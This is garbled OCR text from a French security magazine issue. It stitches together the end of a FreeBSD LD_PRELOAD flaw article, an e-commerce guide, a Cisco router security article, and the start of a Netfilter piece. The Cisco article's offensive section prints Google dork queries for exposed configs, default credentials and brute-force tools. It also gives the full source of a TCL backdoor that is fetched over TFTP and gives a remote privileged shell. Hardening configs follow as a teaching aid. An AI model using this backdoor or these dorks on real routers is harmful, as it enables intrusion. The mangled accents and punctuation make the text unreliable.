for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 8: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

